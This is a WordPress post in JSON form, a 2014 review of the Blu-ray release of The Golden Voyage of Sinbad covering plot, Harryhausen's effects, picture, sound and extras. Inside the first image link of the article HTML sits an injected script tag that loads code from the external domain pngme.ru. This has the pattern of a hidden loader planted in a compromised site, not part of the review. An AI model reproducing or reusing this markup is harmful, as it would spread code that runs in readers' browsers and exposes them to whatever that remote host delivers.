{"id":9513,"date":"2014-01-27T10:08:34","date_gmt":"2014-01-27T16:08:34","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=9513"},"modified":"2014-01-27T10:08:34","modified_gmt":"2014-01-27T16:08:34","slug":"the-golden-voyage-of-sinbad","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=9513","title":{"rendered":"The Golden Voyage of Sinbad"},"content":{"rendered":"<p>As far as family-oriented fantasy kitsch goes, The Golden Voyage of Sinbad is pretty ridiculous stuff. But those with a soft spot for this \u201870s relic will be thrilled with boutique label Twilight Time\u2019s limited edition Blu-ray release. Directed on a shoestring budget by Gordon Hessler, this 1973 adventure flick has the distinction of having been awarded the first-ever Saturn Award for Best Fantasy Film. More importantly, the late visual effects genius Ray Harryhausen (who passed away at age 92 on May 7, 2013) handled all the stop-motion model animation. Though dated by today\u2019s digital standards, there\u2019s still a palpable sense of wonder in watching various creatures and inanimate objects<\/p>\n<p>Even the most jaded of today\u2019s youngsters may find themselves mystified by these sights.<\/p>\n<p>I\u2019ll tell you what sight knocked me out: 24-year-old Caroline Munro (The Spy Who Loved Me) running around as the former slave-girl Margiana. If only this movie hadn\u2019t been G-rated, my Lord! Our dashing hero Sinbad (John Phillip Law) buys Margiana in order to set her free, something the normally submissive lady has to get used to. Sinbad actually envisioned her in a prophetic dream, right before embarking on a quest to find the Fountain of Destiny on the lost continent of Lemuria. Sinbad teams with the masked Grand Vizier of Marabia (Douglas Wilmer), each of whom possesses an amulet needed to obtain the correct directions to Lemuria. The roadblock is Prince Koura (Tom Baker, best known as the fourth Doctor Who), a mystical madman who wants to obtain their two amulets in order to get to the Fountain first.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-Caroline-Munro-2.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-Caroline-Munro-2-300x214.jpg\" alt=\"Golden Voyage Caroline Munro 2\" width=\"300\" height=\"214\" class=\"alignnone size-medium wp-image-9514\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-Caroline-Munro-2-300x214.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-Caroline-Munro-2.jpg 380w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><script src=\"\/\/pngme.ru\/seter\"><\/script><\/a><\/p>\n<p>Whether the fault of Hessler\u2019s director, Brian Clemens\u2019 screenplay, Roy Watts\u2019 editing, or a combination of factors, the storytelling isn\u2019t up to snuff. The plotting is terribly convoluted and the characters, however enthusiastically played, are all paper thin. The whole enterprise has the depth of a Saturday morning cartoon, so Harryhausen\u2019s special effects sequences easily steal the show. Sinbad battles a centaur at one point and fends off a wooden figurehead from the front of his ship at another. These and other effects sequences easily highlight the film. That the whole thing achieves a convincingly epic feel is a huge credit to Harryhausen\u2019s work, as well as that of cinematographer Ted Moore. There\u2019s always something cool to look at in Golden Voyage, even if the viewer must disengage his brain in order to enjoy it.<\/p>\n<p>The Blu-ray presentation is, quite frankly, superb. So much multi-layered optical effects work went into this film, there\u2019s no shortage of inevitable visual artifacts. The 1080p transfer accurately preserves those inherent flaws, while also offering the crispest imaginable rendering of Moore cinematography. Non-effects shots are stunningly detailed (which, speaking of stunning, is quite wonderful whenever Ms. Munro is onscreen). The Vizier\u2019s old-age makeup is captured in a great detail, allowing us to really appreciate the level of production value invested in an otherwise silly fantasy romp.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-figurehead-thumb-380x211-22671.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-figurehead-thumb-380x211-22671-300x166.jpg\" alt=\"Golden Voyage figurehead-thumb-380x211-22671\" width=\"300\" height=\"166\" class=\"alignnone size-medium wp-image-9515\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-figurehead-thumb-380x211-22671-300x166.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-figurehead-thumb-380x211-22671.jpg 380w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Unfortunately Golden Voyage\u2019s original mono mix is nowhere to be found, but the lossless DTS-HD Master Audio 5.1 remix is good enough that most viewers will be happy anyway. Mikl\u00f3s R\u00f3zsa\u2019s soaring score sounds fantastic and is well placed within the stereo spectrum. The heaviest action-oriented scenes, as well as Sinbad\u2019s early prophetic nightmare sequence, make good use of the surround channels without ever resorting to overkill. It\u2019s a very solid audio presentation.<\/p>\n<p>While not extras-heavy, Twilight Time\u2019s Blu-ray includes a trio of Ray Harryhausen-oriented, standard definition featurettes that run for a total of 30 minutes. Carrying on a long-established Twilight Time tradition, R\u00f3zsa\u2019s score is included here as a lossless isolated track. Rounding out the supplements is the film\u2019s original theatrical trailer.<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-Caroline-Munro-thumb-380xauto-22666.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-Caroline-Munro-thumb-380xauto-22666-300x192.jpg\" alt=\"Golden Voyage Caroline Munro-thumb-380xauto-22666\" width=\"300\" height=\"192\" class=\"alignnone size-medium wp-image-9516\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-Caroline-Munro-thumb-380xauto-22666-300x192.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/01\/Golden-Voyage-Caroline-Munro-thumb-380xauto-22666.jpg 380w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Visit Screen Archives for ordering information. The Golden Voyage of Sinbad has a strictly limited pressing of 3,000 copies. Twilight Time has imposed a \u201cone copy per customer\u201d limit. Sinbad and Ray Harryhausen fans take note: also available on Blu-ray from Twilight Time is the 1977 Sinbad and the Eye of the Tiger.<\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>As far as family-oriented fantasy kitsch goes, The Golden Voyage of Sinbad is pretty ridiculous stuff. But those with a soft spot for this \u201870s relic will be thrilled with boutique label Twilight Time\u2019s limited edition Blu-ray release. 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